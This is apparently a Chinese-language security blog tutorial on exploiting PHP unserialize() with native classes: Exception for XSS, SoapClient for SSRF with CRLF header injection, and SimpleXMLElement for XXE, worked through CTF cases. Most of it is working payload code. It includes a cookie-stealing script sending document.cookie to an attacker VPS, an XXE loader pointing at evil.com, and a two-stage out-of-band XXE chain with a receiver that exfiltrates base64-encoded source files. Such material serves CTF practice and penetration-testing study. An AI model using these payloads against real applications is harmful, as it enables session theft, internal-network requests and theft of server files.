在PHP反序列化漏洞的利用中,我们通常的思路是寻找目标代码中已经定义好的、存在缺陷的类来构造POP链。但如果代码里没有现成的“玩具”怎么办?难道就束手无策了吗?
当然不!今天,让我们一起探索一个更深层次、也更通用的技巧——利用PHP语言环境原生自带的类来实现攻击。
即使目标代码中一个可利用的自定义类都没有,我们依然可以借助PHP的“出厂设置”,轻松实现XSS、SSRF甚至XXE攻击。
PHP原生类反序列化是什么?
简单来说,PHP原生类反序列化是指在反序列化过程中,我们利用PHP语言环境中默认就存在的类(如 Exception, SoapClient, SimpleXMLElement 等),而非目标Web应用自己编写的类,来构造利用链(POP Chain)。
这就好比潜入一个房间,发现主人没有留下任何可以利用的工具。但你转念一想,房间里总有椅子、台灯这些“标配”吧?于是你拿起椅子砸开了窗户。这里的“椅子”和“台灯”,就是PHP的原生类。
为什么原生类如此强大?
利用原生类的核心优势在于其 普适性和隐蔽性。
- 普适性:只要目标环境是PHP,这些类大概率就存在。我们无需费心去寻找和分析目标应用的源码,大大降低了漏洞利用的前置条件。
- 隐蔽性:很多安全检测和防御措施都聚焦于应用自身的代码,而对这些平平无奇的原生类的危险操作却可能疏于防范。
利用前提
- 存在反序列化入口:代码中必须有
unserialize() 函数,并且其参数是用户可控的。
- 触发关键魔术方法:如
__toString、__call、__construct 等。
- PHP扩展开启:如利用
SoapClient 需要 php-soap 扩展。
小技巧:如何寻找可用的原生类?
你可以运行以下脚本,列出所有包含魔术方法的类:
<?php
$classes = get_declared_classes();
foreach ($classes as $class) {
$methods = get_class_methods($class);
foreach ($methods as $method) {
if (in_array($method, array(
'__construct', '__destruct', '__toString', '__wakeup',
'__call', '__callStatic', '__get', '__set', '__isset',
'__unset', '__invoke', '__set_state'
))) {
print $class . '::' . $method . "\n";
}
}
}
三大原生类实战演练
1. Error / Exception → 实现XSS
- 触发点:
__toString() 魔术方法。
- 攻击原理:
Exception::__toString() 会返回错误信息字符串。如果序列化后的payload被 echo 等输出,则会触发XSS。
场景模拟
<?php
highlight_file(__file__);
// unserialize() 从GET参数'code'中获取数据
$a = unserialize($_GET['code']);
// echo 将对象转换为字符串,触发 __toString()
echo $a;
?>
Payload生成
<?php
// 1. 新建一个Exception对象,消息为XSS payload
$a = new Exception("<script>alert('You are hacked!')</script>");
// 2. 序列化对象
$serialized_obj = serialize($a);
// 3. URL编码后,作为参数提交
echo urlencode($serialized_obj);
?>
实战案例 BJDCTF 2nd - xss之光
<?php
$poc = new Exception("<script>window.open('http://your-vps-ip/?cookie='+document.cookie);</script>");
echo urlencode(serialize($poc));
?>
2. SoapClient → 实现SSRF
- 触发点:
__call() 魔术方法。
- 攻击原理:调用该对象不存在的方法时,会触发
SoapClient::__call(),其内部会自动向创建对象时指定的 location 发送一个HTTP请求。
场景模拟
<?php
$s = unserialize($_GET['ssrf']);
// 调用一个不存在的方法 a(),这将触发 __call()
$s->a();
?>
Payload生成
<?php
// 1. 构造SoapClient对象
// 第一个参数为null,因为我们不关心WSDL
// 第二个参数是关键,在数组中设置 location 和 uri
$a = new SoapClient(null, array(
'location' => 'http://192.168.1.1:8080/admin', // 目标服务器要去请求的地址
'uri' => 'http://any-uri.com' // uri可以任意填写
));
// 2. 序列化并输出
$b = serialize($a);
echo urlencode($b);
?>
实战案例 CTFSHOW-259
<?php
// \r\n 用于换行,注入额外的HTTP头和POST请求体
$ua="evil_payload\r\n" .
"X-Forwarded-For: 127.0.0.1\r\n" .
"Content-Type: application/x-www-form-urlencoded\r\n" .
"Content-Length: 13\r\n\r\n" .
"token=ctfshow";
$client = new SoapClient(null, array(
'uri' => 'http://127.0.0.1/',
'location' => 'http://127.0.0.1/flag.php',
'user_agent' => $ua
));
echo urlencode(serialize($client));
?>
3. SimpleXMLElement → 实现XXE
- 触发点:
__construct() 构造方法。
- 攻击原理:
SimpleXMLElement 对象可以从URL加载XML数据。如果在构造时开启了 LIBXML_NOENT 选项,就会解析XML外部实体,从而导致XXE漏洞。
Payload生成
<?php
// 构造一个SimpleXMLElement对象
// 参数1: 恶意XML文件的URL
// 参数2: 选项,2代表 LIBXML_NOENT,是触发XXE的关键
// 参数3: data_is_url,设置为true,表示第一个参数是URL
$sxe = new SimpleXMLElement('http://evil.com/xxe.xml', 2, true);
$a = serialize($sxe);
echo $a;
?>
实战案例 SUCTF 2018 - Homework
第一层 payload (xxe.xml)
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % remote SYSTEM "http://vps/send.xml">
%remote;
%all;
%send;
]>
第二层 payload (send.xml)
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=x.php">
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://vps/send.php?file=%file;'>">
接收端 (send.php)
<?php
file_put_contents("result.txt", $_GET['file']);
?>
总结
让我们回顾一下今天的核心知识点:
- 核心思想:即使没有可用的自定义类,PHP原生类也是反序列化漏洞利用的强大武器。
Exception:利用其 __toString() 方法,可实现 XSS 攻击。
SoapClient:利用其 __call() 方法,可实现 SSRF 攻击。
SimpleXMLElement:利用其 __construct() 方法并开启LIBXML_NOENT,可实现 XXE 攻击。
这些技巧在CTF竞赛和真实世界的渗透测试中都非常实用。除了这三个类,你还能在PHP手册或者通过我们提供的脚本找到其他可以利用的原生类吗?欢迎在云栈社区与其他安全爱好者一起交流你的发现和思路。